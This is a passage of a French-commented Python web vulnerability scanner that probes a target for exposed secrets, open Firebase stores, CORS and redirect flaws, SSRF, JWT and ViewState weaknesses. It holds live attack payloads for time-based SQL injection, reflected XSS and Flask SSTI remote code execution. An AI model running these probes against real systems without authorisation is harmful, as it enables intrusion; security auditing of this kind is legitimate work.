        for m in re.finditer(reg, text, re.I):
            val = m.group(1)
            if val in {"123456", "000000", "111111", "0000"}:
                continue
            key = ("PIN", val)
            if key in seen:
                continue
            seen.add(key)
            findings.append({"type": desc, "severity": "faible", "match": val,
                             "evidence": _clip(text, m.start())})
    # Firebase
    for m in FIREBASE_RE.finditer(text):
        g = ", ".join(g for g in m.groups() if g)
        key = ("Firebase", g)
        if key in seen:
            continue
        seen.add(key)
        findings.append({"type": "Config Firebase exposée",
                         "severity": "moyenne",
                         "match": g,
                         "evidence": _clip(text, m.start())})
    return findings


def _is_false_positive(name, val):
    """Validation structurelle + contexte pour réduire les faux positifs.
    Chaque type de secret a une forme attendue (préfixe, longueur, jeu de
    caractères) — les chaînes encodées/hexagones qui matchent par hasard
    (ex: faux XOX rapport casier) sont rejetées ici."""
    low = val.lower()
    if "example" in low or "your-" in low or "xxxx" in low or "sample" in low:
        return True
    name_l = name.lower()
    if "openrouter" in name_l:
        return not re.fullmatch(r"sk-or-v1-[A-Za-z0-9]{20,}", val)
    if "anthropic" in name_l:
        return not re.fullmatch(r"sk-ant-[A-Za-z0-9\-_]{24,}", val)
    if "openai" in name_l:
        return not re.findall(r"sk-(?:proj|svcacct)-[A-Za-z0-9_\-]{48,}", val)
    if "google/firebase" in name_l:
        # AIza + 33 caractères alphanumériques _- (total 35)
        return not re.fullmatch(r"AIzaSy[A-Za-z0-9_\-]{33}", val)
    if "aws" in name_l:
        return not re.fullmatch(r"AKIA[0-9A-Z]{16}", val)
    if "github" in name_l:
        # token ghp_ = 36 caractères (2021+)
        return not re.fullmatch(r"ghp_[0-9A-Za-z]{36}", val)
    if "slack" in name_l:
        # xox?-IDENTIFIANT-CHIFFRE-JETON : vraie structure avec '-' internes
        return not re.fullmatch(r"xox[baprs]-[0-9]+-[0-9]+-[A-Za-z0-9]{10,}", val) \
            and not re.fullmatch(r"xox[baprs]-[A-Za-z0-9\-]{22,}", val)
    if "stripe" in name_l:
        return not (re.fullmatch(r"sk_live_[0-9A-Za-z]{16}", val)
                    or re.fullmatch(r"sk_live_[0-9A-Za-z]{24}", val))
    if "twilio" in name_l:
        return not re.fullmatch(r"SK[0-9a-fA-F]{32}", val)
    if "amplitude" in name_l:
        return not re.fullmatch(r"[0-9a-f]{32}", val)
    if "token bearer" in name_l:
        return val.startswith("Bearer ") is False
    return False


def _clip(text, pos, before=70, after=120):
    start = max(0, pos - before)
    snippet = text[start:pos + after]
    return snippet.strip()


# ---------------------------------------------------------------------------
# Phase 7 — Vérification Firebase public
# ---------------------------------------------------------------------------
def check_firebase(sess, project_id, storage_bucket):
    """Teste l'accès public Firestore, Storage et Realtime Database.
    Renvoie une liste de constats."""
    out = []
    if not project_id:
        return out
    for col in ("conversations", "users", "messages", "documents"):
        url = (f"https://firestore.googleapis.com/v1/projects/{project_id}/"
               f"databases/(default)/documents/{col}?pageSize=3")
        st, _, _ = sess.get(url, timeout=20)
        if st == 200:
            out.append({"type": "Firestore collection accessible publiquement",
                        "severity": "élevée", "collection": col, "status": st})
        elif st is None:
            pass
    # Storage : bucket déclaré + bucket dérivé des conventions Firebase
    buckets = []
    if storage_bucket:
        buckets.append(storage_bucket)
    if project_id:
        buckets.append(f"{project_id}.appspot.com")
    for bkt in buckets:
        if not bkt:
            continue
        variants = [bkt]
        if bkt.endswith(".firebasestorage.app"):
            variants.append(bkt.replace(".firebasestorage.app", ".appspot.com"))
        for b in variants:
            url = f"https://firebasestorage.googleapis.com/v0/b/{b}/o?maxResults=5"
            st, _, body = sess.get(url, timeout=20)
            if st == 200:
                out.append({"type": "Storage Firebase — liste d'objets possible",
                            "severity": "élevée", "bucket": b, "status": st})
                break
    # Realtime Database : hosts historiques et actuels
    for rtdb in (f"{project_id}-default-rtdb.firebaseio.com",
                 f"{project_id}.firebaseio.com"):
        url = f"https://{rtdb}/.json"
        st, _, body = sess.get(url, timeout=20)
        if st == 200 and body and body.strip() not in (b"null", b"{}", b""):
            out.append({"type": "Firebase Realtime Database lisible publiquement",
                        "severity": "élevée", "host": rtdb, "status": st})
        elif st == 200:
            out.append({"type": "Firebase RTDB répond 200 (vide/null)",
                        "severity": "faible", "host": rtdb, "status": st})
    return out


# ---------------------------------------------------------------------------
# Phase 8 — Énumération register / front inerte
# ---------------------------------------------------------------------------
def test_register_and_login(sess, url, body_text):
    """:return liste de constats."""
    out = []
    csrf = re.search(r'name="csrf_token" value="([a-f0-9]{20,80})"', body_text)
    csrf = csrf.group(1) if csrf else None
    has_register = "mode" in body_text and "register" in body_text
    has_login = "mode" in body_text and "login" in body_text
    if not (csrf and (has_register or has_login)):
        return out
    rnd = "".join(random.choices("abcdefghijklmnopqrstuvwxyz", k=8))
    user = f"audit_{rnd}"
    pwd = "Audit#Test2026"

    if has_register:
        st1 = sess.post(url, form={"csrf_token": csrf, "mode": "register",
                                   "username": user, "email": f"{user}@example.org",
                                   "password": pwd, "confirm_password": pwd})
        b1 = st1[2].decode("utf-8", "ignore")
        st2 = sess.post(url, form={"csrf_token": csrf, "mode": "register",
                                   "username": user, "email": f"{user}2@example.org",
                                   "password": pwd, "confirm_password": pwd})
        b2 = st2[2].decode("utf-8", "ignore")
        # Si la 1ere inscription a fonctionné, la 2e (même pseudo) doit différer
        if b1 != b2 and st1[0] == st2[0]:
            out.append({"type": "Énumération possible via register (pseudo deja pris)",
                        "severity": "moyenne", "evidence": user})
        elif b1 == b2:
            out.append({"type": "Formulaire register apparemment inopérant (front inerte)",
                        "severity": "faible"})
    if has_login:
        st_invalid = sess.post(url, form={"csrf_token": csrf, "mode": "login",
                                          "login": "aucun_utilisateur_xyz",
                                          "password": "xx"})
        b_invalid = st_invalid[2].decode("utf-8", "ignore")
        st_get, _, b_get = sess.get(url)
        b_get_text = b_get.decode("utf-8", "ignore")
        if b_invalid == b_get_text:
            out.append({"type": "Login sans différence après POST (front inerte / pas d'énumération)",
                        "severity": "faible"})
        else:
            out.append({"type": "Login avec réponse différenciée (énumération d'utilisateurs possible)",
                        "severity": "moyenne"})
    return out


# ---------------------------------------------------------------------------
# Phase 9 — En-têtes de sécurité (audit_headers importé de pentestlib)
# ---------------------------------------------------------------------------
# (audit_headers : voir pentestlib.py — fonction pure, couverte par pytest)


# ---------------------------------------------------------------------------
# Phase 6b — Checks web modernes (CORS, méthodes, fichiers sensibles,
# Next.js image SSRF, Auth.js). Lecture seule, 1 requête par sonde.
# ---------------------------------------------------------------------------
def check_cors(sess, base_url):
    """Teste si une Origin externe est reflétée (CORS wild)."""
    try:
        req = urllib.request.Request(
            base_url, headers=dict(sess.headers, Origin="https://evil.example.com"))
        if sess.cookies:
            req.add_header("Cookie", "; ".join(f"{k}={v}" for k, v in sess.cookies.items()))
        resp = urllib.request.urlopen(req, timeout=20)
        acao = resp.headers.get("Access-Control-Allow-Origin", "")
        acac = resp.headers.get("Access-Control-Allow-Credentials", "")
        if "evil.example.com" in (acao or ""):
            sev = "élevée" if acac and "true" in acac.lower() else "moyenne"
            return [{"type": "CORS : Origin externe reflétée" + (" + credentials" if "élevée" in sev else ""),
                     "severity": sev, "evidence": f"ACAO: {acao} ACAC: {acac}"}]
    except Exception:
        pass
    return []


def check_methods(sess, base_url):
    """Méthodes HTTP autorisées via OPTIONS (info)."""
    try:
        st, hd, _ = sess._request(base_url, method="OPTIONS", timeout=20)
        allow = hd.get("allow", "") or hd.get("access-control-allow-methods", "")
        if allow:
            risky = [m for m in ("PUT", "DELETE", "TRACE", "CONNECT") if m in allow.upper()]
            if risky:
                return [{"type": "Méthodes HTTP risquées autorisées: " + ", ".join(risky),
                         "severity": "moyenne", "evidence": allow[:200]}]
    except Exception:
        pass
    return []


def check_sensitive_paths(sess, base_url):
    """Sonde les chemins sensibles en PARALLÈLE (1 requête + retour, corps vérifié)."""
    def _one(item):
        path, name, sev, marker = item
        try:
            st, _, body = sess.get(base_url.rstrip("/") + path, timeout=14)
            if st == 200 and body and re.search(marker, body.decode("utf-8", "ignore")):
                return [{"type": name, "severity": sev,
                         "evidence": f"{path} -> HTTP 200 + marqueur"}]
        except Exception:
            pass
        return None
    return _pmap(sess, SENSITIVE_PATHS, _one)


def check_next_image_ssrf(sess, base_url):
    """SSRF via optimizer Next.js : externe et métadonnées doivent donner 400."""
    out = []
    for path, label in NEXT_IMAGE_PROBES[1:]:
        try:
            st, _, body = sess.get(base_url.rstrip("/") + path, timeout=20)
            txt = (body or b"").decode("utf-8", "ignore")[:200]
            if st == 200 and ("PNG" in txt or "JFIF" in txt or len(body or b"") > 1000):
                out.append({"type": f"SSRF possible via /_next/image ({label})",
                            "severity": "élevée",
                            "evidence": f"{path} -> HTTP 200"})
        except Exception:
            continue
    return out


# Paramètres candidats au SSRF (chargement/récupération de ressources)
SSRF_PARAMS = (
    "url", "redirect", "next", "return", "goto", "target", "dest",
    "callback", "hook", "webhook", "load", "fetch", "import", "path",
    "file", "read", "img", "src", "image", "resource",
)

# Canaries loopback : échec de connexion si le serveur tente de les charger
SSRF_CANARIES = ("http://127.0.0.1:1/", "http://[::1]/")


def check_ssrf_params(sess, live_urls, max_probes=10):
    """Teste les paramètres URL pour SSRF via canaries loopback (GET + POST)."""
    out = []
    done = 0
    for u in live_urls:
        if done >= max_probes:
            break
        try:
            parts = urllib.parse.urlparse(u)
        except Exception:
            continue
        if not parts.scheme or not parts.query:
            continue
        q = urllib.parse.parse_qsl(parts.query, keep_blank_values=True)
        for k, v in q:
            if k.lower() in SSRF_PARAMS and re.search(r"[A-Za-z0-9]{2,}", v or ""):
                for can in SSRF_CANARIES:
                    if done >= max_probes:
                        break
                    done += 1
                    nq = urllib.parse.urlencode(
                        [(kk, can if kk == k else vv) for kk, vv in q])
                    probe_url = urllib.parse.urlunparse(parts._replace(query=nq))
                    try:
                        st, _, body = sess.get(probe_url, timeout=20)
                        txt = (body or b"").decode("utf-8", "ignore")
                    except Exception:
                        continue
                    if st >= 500 or re.search(
                            r"connection refused|refused to connect", txt, re.I):
                        out.append({
                            "type": f"SSRF possible via GET '{k}' ({can})",
                            "severity": "élevée",
                            "evidence": f"GET {probe_url[:140]} -> HTTP {st}",
                        })
                        break
                break
    for u in live_urls:
        if done >= max_probes:
            break
        try:
            _, _, fbody = sess.get(u, timeout=20)
        except Exception:
            continue
        ftxt = (fbody or b"").decode("utf-8", "ignore")
        for m in re.finditer(r'<form\b[^>]*action=["\']([^"\']+)["\']', ftxt, re.I):
            if done >= max_probes:
                break
            action = urllib.parse.urljoin(u, m.group(1))
            apart = urllib.parse.urlparse(action)
            aq = urllib.parse.parse_qsl(apart.query, keep_blank_values=True)
            for k, v in aq:
                if k.lower() in ("url", "redirect") and re.search(
                        r"[A-Za-z0-9]{2,}", v or ""):
                    for can in SSRF_CANARIES:
                        if done >= max_probes:
                            break
                        done += 1
                        nq = urllib.parse.urlencode(
                            [(kk, can if kk == k else vv) for kk, vv in aq])
                        tgt = urllib.parse.urlunparse(apart._replace(query=nq))
                        try:
                            st, _, pbody = sess.post(tgt, form={}, timeout=20)
                            ptxt = (pbody or b"").decode("utf-8", "ignore")
                        except Exception:
                            continue
                        if st >= 500 or re.search(
                                r"connection refused|refused to connect", ptxt, re.I):
                            out.append({
                                "type": f"SSRF possible via POST '{k}' ({can})",
                                "severity": "élevée",
                                "evidence": f"POST {tgt[:140]} -> HTTP {st}",
                            })
                            break
                    break
    return out


def check_method_fuzz(sess, base_url):
    """Teste directement PUT/DELETE/PATCH/TRACE + CORS preflight risqué."""
    out = []
    for method in ("PUT", "DELETE", "PATCH"):
        try:
            st, _, body = sess._request(base_url, data=b"x", method=method, timeout=20)
        except Exception:
            continue
        if st in (200, 201, 204):
            out.append({"type": f"Méthode HTTP {method} acceptée (endpoint modifiable)",
                        "severity": "moyenne",
                        "evidence": f"{method} {base_url} -> HTTP {st}"})
    token = "XST-PROBE-12345"
    try:
        st, _, body = sess._request(base_url, data=token.encode(), method="TRACE",
                                    timeout=20)
        btxt = (body or b"").decode("utf-8", "ignore")
        if token in btxt or re.search(r"\bTRACE\b|Max-Forwards", btxt, re.I):
            out.append({"type": "TRACE actif (XST - Cross-Site Tracing)",
                        "severity": "élevée",
                        "evidence": f"TRACE {base_url} -> HTTP {st}, requête reflétée"})
    except Exception:
        pass
    try:
        req = urllib.request.Request(
            base_url, method="OPTIONS",
            headers=dict(sess.headers, Origin="https://evil.example.com"))
        resp = urllib.request.urlopen(req, timeout=20)
        allow = (resp.headers.get("Access-Control-Allow-Methods", "")
                 or resp.headers.get("Allow", "") or "")
        risky = [m for m in ("PUT", "DELETE", "PATCH", "TRACE")
                 if m in allow.upper()]
        if risky:
            out.append({"type": "Méthodes risquées autorisées via préflight CORS: "
                                + ", ".join(risky),
                        "severity": "moyenne",
                        "evidence": f"OPTIONS {base_url} -> Allow/ACAM: {allow[:200]}"})
    except Exception:
        pass
    return out


def check_authjs(sess, base_url):
    """Découverte Auth.js/NextAuth (providers, session anonyme)."""
    out = []
    notes = []
    try:
        st, _, body = sess.get(base_url.rstrip("/") + "/api/auth/providers", timeout=20)
        if st == 200:
            try:
                provs = json.loads(body.decode("utf-8", "ignore"))
                names = ", ".join(sorted(provs.keys())) if isinstance(provs, dict) else "?"
                notes.append(f"Auth.js détecté, providers : {names}")
                if isinstance(provs, dict):
                    for pid, p in provs.items():
                        if isinstance(p, dict) and p.get("type") == "credentials":
                            out.append({"type": f"Provider Auth.js 'credentials' : {pid}",
                                        "severity": "faible",
                                        "evidence": "provider custom : auditer authorize() côté serveur (énumération, rate-limit)"})
            except Exception:
                pass
    except Exception:
        pass
    return out, notes


# ---------------------------------------------------------------------------
# Analyse de jetons de session (JWT / cookies) — lecture seule, pas de vérif
# signature. Flag les configurations dangereuses (alg none, sans exp, décodage
# détaillé en un coup d'œil).
# ---------------------------------------------------------------------------
def _b64url_decode(s):
    import base64
    pad = "=" * (-len(s) % 4)
    try:
        return base64.urlsafe_b64decode(s + pad)
    except Exception:
        try:
            return base64.urlsafe_b64decode(s + pad + "=" * (8 - len(s) % 8))
        except Exception:
            return None


JWT_RE = re.compile(
    r"eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9_-]{2,}\.[A-Za-z0-9_-]{2,}")


def _decode_jwt_payload(token):
    try:
        payload_b64 = token.split(".")[1]
    except IndexError:
        return None, None
    raw = _b64url_decode(payload_b64)
    if not raw:
        return None, None
    try:
        return json.loads(raw.decode("utf-8", "ignore")), token.split(".")[0]
    except (ValueError, TypeError):
        return None, None


def check_session_tokens(sess, base_url, body_text):
    """JWT / cookies de session : alg none, absence d'expiration, brassage.

    Ne décode QUE le payload (partie publique d'un JWT signé) — aucune
    modification, aucune tentative de falsification."""
    out = []
    tokens = set()
    # Cookies de la session + corps de page
    for k, v in sess.cookies.items():
        if JWT_RE.search(v):
            tokens.add(v)
    crumbs = (body_text or "")
    for probe in (crumbs, " ".join(str(v) for v in sess.cookies.values())):
        for m in JWT_RE.finditer(probe):
            tokens.add(m.group(0))
    for tok in tokens:
        payload, header_b64 = _decode_jwt_payload(tok)
        header = {}
        hraw = _b64url_decode(header_b64 or "") if header_b64 else None
        if hraw:
            try:
                header = json.loads(hraw.decode("utf-8", "ignore"))
            except (ValueError, TypeError):
                header = {}
        alg = (header.get("alg") or "").upper()
        if alg == "NONE":
            out.append({"type": "JWT avec algorithm 'none' (falsifiable)",
                        "severity": "critique",
                        "evidence": f"{tok[:60]}… (header alg=none)"})
            continue
        if not isinstance(payload, dict):
            continue
        claims = {k: v for k, v in payload.items() if k.lower() not in
                  ("iat", "jti", "iss", "aud", "nbf")}
        sub = payload.get("sub") or payload.get("name") or payload.get("email")
        if "exp" not in payload:
            out.append({"type": "JWT sans expiration (exp) — session permanente",
                        "severity": "élevée",
                        "evidence": f"alg={alg}, claims: {json.dumps(claims, ensure_ascii=False)[:160]}"})
        elif alg == "HS256":
            out.append({"type": "JWT signé HS256 (secret partagé)",
                        "severity": "faible",
                        "evidence": f"alg=HS256, sub={sub}|{json.dumps(claims, ensure_ascii=False)[:140]}"})
    return out


# ---------------------------------------------------------------------------
# Phase 6c — Formulaires : ViewState JSF (F6 rapport casier) + tokens CSRF
# + fuite de stack traces. POSTs d'erreur uniquement (valeurs invalides),
# aucun état modifié en cas de ViewState signé (rejet serveur).
# ---------------------------------------------------------------------------
VIEWSTATE_RE = re.compile(
    r'name=["\']javax\.faces\.ViewState["\']\s+value=["\']([^"\']+)["\']'
    r'|name=["\']javax\.faces\.ViewState["\'][^>]*?value=["\']([^"\']+)["\']',
    re.I)
CSRF_INPUT_RE = re.compile(
    r'<input[^>]+name=["\'](csrf_token|csrfToken|_csrf|_token|authenticity_token)["\']',
    re.I)
STACK_PATTERNS = [
    (r"javax\.faces\.exception|FacesException|at javax\.faces", "stack trace JSF/Java"),
    (r"Traceback \(most recent call last\)", "stack trace Python"),
    (r"System\.NullReferenceException|at System\.Web", "stack trace .NET"),
    (r"Fatal error:.*\.php on line \d+|Uncaught Error", "erreur PHP détaillée"),
    (r"SQL syntax.*MySQL|pg_query\(\).*failed|ORA-\d{5}", "erreur SQL détaillée"),
    (r"at [a-zA-Z0-9$.]+\([a-zA-Z0-9$./]+:\d+\)", "stack trace Java générique"),
    (r"DEBUG\s*=\s*True|ALLOWED_HOSTS.*\*", "mode DEBUG Django"),
    (r"Express server started on port|Error: Cannot find module", "erreur Node.js/Express"),
    (r"Internal Server Error|500 Server Error", "erreur interne serveur"),
    (r"Exception Type:\s*\w+.*Exception Value:", "stack trace Django DEBUG"),
    (r"npm ERR!|yarn error v", "erreur npm/yarn"),
    (r"docker|Cannot connect to the Docker daemon", "erreur Docker exposée"),
    (r"ERR_CONNECTION_REFUSED|ECONNREFUSED", "service interne injoignable"),
    (r"mail\(\)|fsockopen|SMTP ERROR", "erreur mail exposée"),
    (r"Deprecated:|Notice:|Warning:.*on line", "PHP errors exposées"),
]


def analyze_forms(body_text, url=""):
    """Détecte JSF/ViewState + tokens CSRF dans les formulaires.

    Retourne (tech_notes, findings) : ViewState identique sur N formulaires
    (non signé, cf. F6 casier), formulaires sans token CSRF apparent.
    """
    notes, out = [], []
    forms = re.findall(r"<form\b[^>]*>(.*?)</form>", body_text, re.I | re.S)
    if not forms:
        return notes, out
    vs_values = []
    for f in forms:
        m = VIEWSTATE_RE.search(f)
        if m:
            vs_values.append((m.group(1) or m.group(2) or "")[:80])
    if vs_values:
        notes.append(f"JSF détecté ({len(forms)} formulaire(s), ViewState présent)")
        uniq = set(vs_values)
        if len(vs_values) >= 2 and len(uniq) == 1:
            out.append({"type": "ViewState JSF identique sur "
                                f"{len(vs_values)} formulaires (non signé ?)",
                        "severity": "moyenne",
                        "evidence": f"ViewState={vs_values[0][:60]}… (cf. F6)"})
    else:
        csrf = CSRF_INPUT_RE.search(body_text)
        if not csrf and len(forms) >= 1 and re.search(
                r'<input[^>]+type=["\']password["\']', body_text, re.I):
            out.append({"type": "Formulaire avec mot de passe sans token CSRF apparent",
                        "severity": "faible",
                        "evidence": f"{len(forms)} formulaire(s) sur {url[:80]}"})
    return notes, out


def test_viewstate(sess, url, body_text):
    """Teste un ViewState forgé / vide / surdimensionné (chemins d'erreur).

    Verdict : 'accepté' (302/200 identique au valide, cf. casier F6) ou
    'rejeté'. Ne modifie aucun état si le ViewState est signé.
    """
    out = []
    m = VIEWSTATE_RE.search(body_text)
    if not m:
        return out
    orig = (m.group(1) or m.group(2) or "")
    form_m = re.search(r'<form\b[^>]*action=["\']([^"\']+)["\']', body_text, re.I)
    action = form_m.group(1) if form_m else url
    target = urllib.parse.urljoin(url, action)
    probes = [
        ("forgé 'entier:entier'", "12345:67890"),
        ("vide", ""),
        ("surdimensionné (10000 chars)", "A" * 10000),
    ]
    for label, val in probes:
        try:
            data = urllib.parse.urlencode(
                {"javax.faces.ViewState": val}).encode()
            st, _, resp_body = sess._request(
                target, data=data, method="POST",
                content_type="application/x-www-form-urlencoded", timeout=20)
            txt = (resp_body or b"").decode("utf-8", "ignore")
            accepted = (st in (200, 302) and "ViewState" not in txt[:2000]
                        and "faces-exception" not in txt.lower()
                        and "error" not in txt[:500].lower())
            # heuristique inverse : accepter un forgé = suspect
            if accepted and label.startswith("forgé"):
                out.append({"type": "ViewState JSF forgé accepté "
                                    f"({label}, HTTP {st})",
                            "severity": "moyenne",
                            "evidence": f"POST {target[:80]} -> {st}"})
        except Exception:
            continue
    return out


def check_error_disclosure(sess, base_url):
    """Provoque des erreurs (chemin inexistant, ViewState invalide) et cherche
    des stack traces / erreurs détaillées dans les réponses."""
    out = []
    seen_types = set()
    try:
        st, _, body = sess.get(
            base_url.rstrip("/") + "/__pentest_nope_%d" % random.randint(1000, 9999),
            timeout=20)
        txt = (body or b"").decode("utf-8", "ignore")
        for pat, label in STACK_PATTERNS:
            if label in seen_types:
                continue
            mm = re.search(pat, txt)
            if mm:
                seen_types.add(label)
                out.append({"type": f"Divulgation technique : {label}",
                            "severity": "faible",
                            "evidence": txt[max(0, mm.start() - 40):mm.start() + 80].strip()[:200]})
    except Exception:
        pass
    return out


# ---------------------------------------------------------------------------
# Phase 6d — Tests de paramètres (SQLi erreur, XSS réfléchi, open redirect),
# listage de répertoires, archives, buckets cloud et takeover de sous-domaines
# ---------------------------------------------------------------------------
def _param_urls(live_urls, limit):
    """Renvoie les (parsed_url, param) à sonder, param avec valeur non vide."""
    found = 0
    for u in live_urls:
        try:
            parts = urllib.parse.urlparse(u)
        except Exception:
            continue
        if not parts.scheme or not parts.query:
            continue
        q = urllib.parse.parse_qsl(parts.query, keep_blank_values=True)
        for k, v in q:
            if re.search(r"[A-Za-z0-9]{2,}", v or ""):
                yield parts, k
                found += 1
                break
        if found >= limit:
            return


def check_parameter_sqli(sess, live_urls, max_probes=15):
    """SQLi par erreur : injecte ' et \" dans les params, cherche marqueurs."""
    findings = []
    done = 0
    for parts, k in _param_urls(live_urls, max_probes):
        done += 1
        if done > max_probes:
            break
        q = urllib.parse.parse_qsl(parts.query, keep_blank_values=True)
        # Baseline sans injection : on retire les marqueurs déjà présents
        base_url = urllib.parse.urlunparse(parts)
        _, _, bbody = sess.get(base_url, timeout=20)
        btxt = (bbody or b"").decode("utf-8", "ignore")
        base_hits = set()
        for pat, db in SQL_ERROR_MARKERS:
            if re.search(pat, btxt, re.I):
                base_hits.add(db)
        for suffix in ("'", '"'):
            nq = urllib.parse.urlencode(
                [(kk, (vv + suffix) if kk == k else vv) for kk, vv in q])
            probe_url = urllib.parse.urlunparse(parts._replace(query=nq))
            st, _, body = sess.get(probe_url, timeout=20)
            txt = (body or b"").decode("utf-8", "ignore")
            for pat, db in SQL_ERROR_MARKERS:
                if db in base_hits:
                    continue
                mm = re.search(pat, txt, re.I)
                if mm:
                    ctx = txt[max(0, mm.start() - 60):mm.start() + 120].strip()
                    findings.append({
                        "type": f"SQLi par erreur possible ({db}) via '{k}'",
                        "severity": "moyenne",
                        "evidence": f"GET {probe_url[:140]}\n…{ctx[:220]}",
                    })
                    break
    return findings


def check_reflected_xss(sess, live_urls, max_probes=12):
    """XSS réfléchi (indice) : injecte un payload et vérifie sa réflexion."""
    findings = []
    token = "<sVg onload=alert(1)>"
    encoded = urllib.parse.quote(token, safe="")
    done = 0
    for parts, k in _param_urls(live_urls, max_probes):
        done += 1
        if done > max_probes:
            break
        q = urllib.parse.parse_qsl(parts.query, keep_blank_values=True)
        nq = urllib.parse.urlencode(
            [(kk, (vv + encoded) if kk == k else vv) for kk, vv in q])
        probe_url = urllib.parse.urlunparse(parts._replace(query=nq))
        st, _, body = sess.get(probe_url, timeout=20)
        txt = (body or b"").decode("utf-8", "ignore")
        if token in txt or "<svg" in txt.lower():
            idx = txt.find(token)
            ctx = txt[max(0, idx - 50):idx + 120].strip() if idx != -1 else ""
            findings.append({
                "type": f"XSS réfléchi (indice, à confirmer) via '{k}'",
                "severity": "moyenne",
                "evidence": f"GET {probe_url[:140]} ({st})\n{ctx[:220]}",
            })
            break
    return findings


def check_time_based_sqli(sess, live_urls, max_probes=15):
    """SQLi time-based blind : injecte des SLEEP/WAITFOR et mesure le délai."""
    findings = []
    payloads = [
        ("MySQL", " OR SLEEP(3)-- "),
        ("PostgreSQL", " OR pg_sleep(3)-- "),
        ("MSSQL", " OR WAITFOR DELAY '0:0:3'-- "),
    ]
    done = 0
    for parts, k in _param_urls(live_urls, max_probes):
        done += 1
        if done > max_probes:
            break
        q = urllib.parse.parse_qsl(parts.query, keep_blank_values=True)
        base_url = urllib.parse.urlunparse(parts)
        t0 = time.time()
        sess.get(base_url, timeout=20)
        baseline = time.time() - t0
        time.sleep(1)
        for db, payload in payloads:
            nq = urllib.parse.urlencode(
                [(kk, (vv + payload) if kk == k else vv) for kk, vv in q])
            probe_url = urllib.parse.urlunparse(parts._replace(query=nq))
            t1 = time.time()
            try:
                sess.get(probe_url, timeout=10)
            except Exception:
                continue
            elapsed = time.time() - t1
            if elapsed > 2.5 + baseline and elapsed > 4.5:
                findings.append({
                    "type": f"SQLi time-based possible ({db}) via '{k}'",
                    "severity": "élevée",
                    "evidence": (f"GET {probe_url[:140]}\n"
                                f"baseline={baseline:.1f}s elapsed={elapsed:.1f}s"),
                })
                break
    return findings


def check_ssti(sess, live_urls, max_probes=12):
    """SSTI : injecte des expressions arithmétiques dans les templates."""
    findings = []
    probes = [
        ("Jinja2/Django", "{{7*7}}"),
        ("Freemarker/Mako", "${7*7}"),
    ]
    rce_payload = ("{{config.__class__.__init__.__globals__"
                   "['os'].popen('id').read()}}")
    done = 0
    for parts, k in _param_urls(live_urls, max_probes):
        done += 1
        if done > max_probes:
            break
        q = urllib.parse.parse_qsl(parts.query, keep_blank_values=True)
        ssti_found = False
        for tpl, payload in probes:
            nq = urllib.parse.urlencode(
                [(kk, (vv + payload) if kk == k else vv) for kk, vv in q])
            probe_url = urllib.parse.urlunparse(parts._replace(query=nq))
            st, _, body = sess.get(probe_url, timeout=20)
            txt = (body or b"").decode("utf-8", "ignore")
            if "49" in txt:
                findings.append({
                    "type": f"SSTI possible ({tpl}) via '{k}'",
                    "severity": "élevée",
                    "evidence": (f"GET {probe_url[:140]} ({st})\n"
                                f"7*7=49 refléché"),
                })
                ssti_found = True
                break
        nq = urllib.parse.urlencode(
            [(kk, (vv + rce_payload) if kk == k else vv) for kk, vv in q])
        probe_url = urllib.parse.urlunparse(parts._replace(query=nq))
        st, _, body = sess.get(probe_url, timeout=20)
        txt = (body or b"").decode("utf-8", "ignore")
        if "uid=" in txt:
            findings.append({
                "type": f"SSTI RCE possible (Flask) via '{k}'",
                "severity": "critique",
                "evidence": (f"GET {probe_url[:140]} ({st})\n"
                            f"uid= trouvé dans la réponse"),
            })
    return findings


def check_open_redirect(sess, url, limit=6):
    """Open redirect : paramètres courants vers un domaine externe de piège."""
    findings = []
    evil = "https://evil.example.com"
    for p in REDIRECT_PARAMS[:limit]:
        sep = "&" if "?" in url else "?"
        target = f"{url}{sep}{urllib.parse.urlencode({p: evil})}"
        try:
            headers = dict(sess.headers)
            if sess.cookies:
                headers["Cookie"] = "; ".join(
                    f"{k}={v}" for k, v in sess.cookies.items())
            req = urllib.request.Request(target, headers=headers)
            resp = urllib.request.urlopen(req, timeout=20)
            final = resp.geturl()
            if urllib.parse.urlparse(final).netloc == "evil.example.com":
                findings.append({
                    "type": f"Open redirect possible via '{p}'",
                    "severity": "moyenne",
                    "evidence": f"GET {target[:140]}\n→ {final}",
                })
                continue
            body = resp.read().decode("utf-8", "ignore")
            m = re.search(
                r'<meta[^>]+http-equiv=["\']?refresh["\']?[^>]+url=([^"\'>\s]+)',
                body, re.I)
            if m and "evil.example.com" in m.group(1):
                findings.append({
                    "type": f"Open redirect possible via '{p}' (meta refresh)",
                    "severity": "moyenne",
                    "evidence": f"GET {target[:140]}\n→ {m.group(1)[:80]}",
                })
        except Exception:
            continue
    return findings


def check_directory_listing(sess, base_url):
    """Listage de répertoire : marqueurs 'Index of' sur les chemins courants."""

    def _one(path):
        try:
            st, _, body = sess.get(base_url.rstrip("/") + path, timeout=12)
            if st == 200 and any(m in (body or b"") for m in DIR_INDEX_MARKERS):
                return [{"type": "Listage de répertoire (Index of)",
                         "severity": "moyenne",
                         "evidence": f"{path} -> HTTP 200"}]
        except Exception:
            pass
        return None
    return _pmap(sess, DIRECTORY_PATHS, _one)


def check_leftover_archives(sess, base_url):
    """Archives / sauvegardes exposées (ZIP, GZIP, .DS_Store, dumps SQL)."""

    def _one(path):
        try:
            st, _, body = sess.get(base_url.rstrip("/") + path, timeout=12)
        except Exception:
            return None
        if st != 200 or not body:
            return None
        head = body[:4096]
        kind = []
        if head[:4] == b"PK\x03\x04":
            kind.append("ZIP")
        if head[:2] == b"\x1f\x8b":
            kind.append("GZIP")
        if b"Bud1" in head:
            kind.append(".DS_Store")
        if b"CREATE TABLE" in head or b"-- MySQL dump" in head:
            kind.append("dump SQL")
        if kind:
            return [{"type": "Sauvegarde/fichier sensible exposé ("
                             + ", ".join(kind) + ")",
                     "severity": "élevée",
                     "evidence": f"{path} -> HTTP 200 ({len(body)} octets)"}]
        return None
    return _pmap(sess, ARCHIVE_PATHS, _one)


# ---------------------------------------------------------------------------
# Modules complémentaires — DNS/mail (passif), TLS (min/max), archives
# Wayback (passif), ports TCP (actif, option --ports).
# ---------------------------------------------------------------------------
TOP_PORTS = [
    (21, "ftp"), (22, "ssh"), (23, "telnet"), (25, "smtp"), (53, "dns"),
    (110, "pop3"), (143, "imap"), (445, "microsoft-ds"), (993, "imaps"),
    (995, "pop3s"), (3306, "mysql"), (5432, "postgresql"), (6379, "redis"),
    (8080, "http-alt"), (8443, "https-alt"), (9200, "elasticsearch"),
    (11211, "memcached"), (27017, "mongodb"),
]

TLS_VERSIONS = [
    ("TLSv1.0", ssl.TLSVersion.TLSv1),
